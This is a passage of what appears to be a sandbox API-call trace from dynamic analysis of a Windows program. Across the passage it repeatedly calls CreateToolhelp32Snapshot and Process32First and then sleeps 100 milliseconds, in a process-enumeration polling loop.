th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.033] Sleep (dwMilliseconds=0x64) [0297.035] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0297.054] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.215] Sleep (dwMilliseconds=0x64) [0297.219] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0297.403] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.547] Sleep (dwMilliseconds=0x64) [0297.564] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10bc [0297.580] Process32First (in: hSnapshot=0x10bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.009] Sleep (dwMilliseconds=0x64) [0298.012] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0298.027] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.175] Sleep (dwMilliseconds=0x64) [0298.178] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0298.209] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.385] Sleep (dwMilliseconds=0x64) [0298.387] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0298.401] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.561] Sleep (dwMilliseconds=0x64) [0298.563] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0298.828] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.964] Sleep (dwMilliseconds=0x64) [0298.965] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0298.980] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.059] Sleep (dwMilliseconds=0x64) [0299.061] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0299.107] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.184] Sleep (dwMilliseconds=0x64) [0299.190] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0299.205] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.331] Sleep (dwMilliseconds=0x64) [0299.333] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0299.347] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.459] Sleep (dwMilliseconds=0x64) [0299.460] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0299.477] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.578] Sleep (dwMilliseconds=0x64) [0299.579] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0299.592] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.694] Sleep (dwMilliseconds=0x64) [0299.695] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0299.710] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.822] Sleep (dwMilliseconds=0x64) [0299.823] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0299.840] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.928] Sleep (dwMilliseconds=0x64) [0299.981] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0300.006] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.140] Sleep (dwMilliseconds=0x64) [0300.151] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0300.167] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.238] Sleep (dwMilliseconds=0x64) [0300.240] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0300.329] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.402] Sleep (dwMilliseconds=0x64) [0300.404] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0300.419] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.554] Sleep (dwMilliseconds=0x64) [0300.555] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0300.579] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.723] Sleep (dwMilliseconds=0x64) [0300.724] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0300.738] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.847] Sleep (dwMilliseconds=0x64) [0300.848] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0300.876] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0301.032] Sleep (dwMilliseconds=0x64) [0301.034] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0301.055] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0301.217] Sleep (dwMilliseconds=0x64) [0301.219] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0301.243] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0301.513] Sleep (dwMilliseconds=0x64) [0301.515] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0301.530] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0301.685] Sleep (dwMilliseconds=0x64) [0301.687] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0301.701] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0301.816] Sleep (dwMilliseconds=0x64) [0301.818] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d38 [0301.869] Process32First (in: hSnapshot=0x1d38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0301.957] Sleep (dwMilliseconds=0x64) [0301.970] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d38 [0302.019] Process32First (in: hSnapshot=0x1d38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0302.090] Sleep (dwMilliseconds=0x64) [0302.093] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d38 [0302.107] Process32First (in: hSnapshot=0x1d38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0302.265] Sleep (dwMilliseconds=0x64) [0302.266] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d38 [0302.331] Process32First (in: hSnapshot=0x1d38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0302.474] Sleep (dwMilliseconds=0x64) [0302.484] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d38 [0302.497] Process32First (in: hSnapshot=0x1d38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0302.617] Sleep (dwMilliseconds=0x64) [0302.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d38 [0302.652] Process32First (in: hSnapshot=0x1d38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0302.794] Sleep (dwMilliseconds=0x64) [0302.795] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d38 [0302.813] Process32First (in: hSnapshot=0x1d38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0302.897] Sleep (dwMilliseconds=0x64) [0302.899] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d38 [0302.954] Process32First (in: hSnapshot=0x1d38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0303.083] Sleep (dwMilliseconds=0x64) [0303.097] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ad0 [0303.116] Process32First (in: hSnapshot=0x1ad0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0303.319] Sleep (dwMilliseconds=0x64) [0303.321] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ad0 [0303.344] Process32First (in: hSnapshot=0x1ad0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0303.566] Sleep (dwMilliseconds=0x64) [0303.568] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ad0 [0303.581] Process32First (in: hSnapshot=0x1ad0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0303.701] Sleep (dwMilliseconds=0x64) [0303.702] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ad0 [0303.718] Process32First (in: hSnapshot=0x1ad0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0303.855] Sleep (dwMilliseconds=0x64) [0303.857] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ad0 [0303.880] Process32First (in: hSnapshot=0x1ad0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0304.011] Sleep (dwMilliseconds=0x64) [0304.013] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ad0 [0304.025] Process32First (in: hSnapshot=0x1ad0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0304.133] Sleep (dwMilliseconds=0x64) [0304.134] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ad0 [0304.147] Process32First (in: hSnapshot=0x1ad0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0304.255] Sleep (dwMilliseconds=0x64) [0304.266] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0304.279] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0304.410] Sleep (dwMilliseconds=0x64) [0304.412] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0304.424] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0304.492] Sleep (dwMilliseconds=0x64) [0304.494] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0304.507] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0304.646] Sleep (dwMilliseconds=0x64) [0304.648] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0304.662] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0304.772] Sleep (dwMilliseconds=0x64) [0304.774] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0304.787] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0304.906] Sleep (dwMilliseconds=0x64) [0304.911] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0304.929] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0305.041] Sleep (dwMilliseconds=0x64) [0305.043] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0305.055] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0305.174] Sleep (dwMilliseconds=0x64) [0305.176] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0305.191] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0305.267] Sleep (dwMilliseconds=0x64) [0305.269] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0305.338] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0305.408] Sleep (dwMilliseconds=0x64) [0305.434] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0305.448] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0305.555] Sleep (dwMilliseconds=0x64) [0305.558] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0305.570] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0305.673] Sleep (dwMilliseconds=0x64) [0305.675] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0305.687] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0305.804] Sleep (dwMilliseconds=0x64) [0305.806] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0305.823] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0305.969] Sleep (dwMilliseconds=0x64) [0305.970] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0305.988] Process32First (in: hSnapshot=0x1974, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0306.133] Sleep (dwMilliseconds=0x64) [0306.154] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4c [0306.171] Process32First (in: hSnapshot=0x1d4c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0306.296] Sleep (dwMilliseconds=0x64) [0306.326] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4c [0306.343] Process32First (in: hSnapshot=0x1d4c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0306.477] Sleep (dwMilliseconds=0x64) [0306.479] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4c [0306.496] Process32First (in: hSnapshot=0x1d4c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0306.638] Sleep (dwMilliseconds=0x64) [0306.640] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4c [0306.652] Process32First (in: hSnapshot=0x1d4c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0306.740] Sleep (dwMilliseconds=0x64) [0306.744] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0306.755] Process32First (in: hSnapshot=0x10d8, 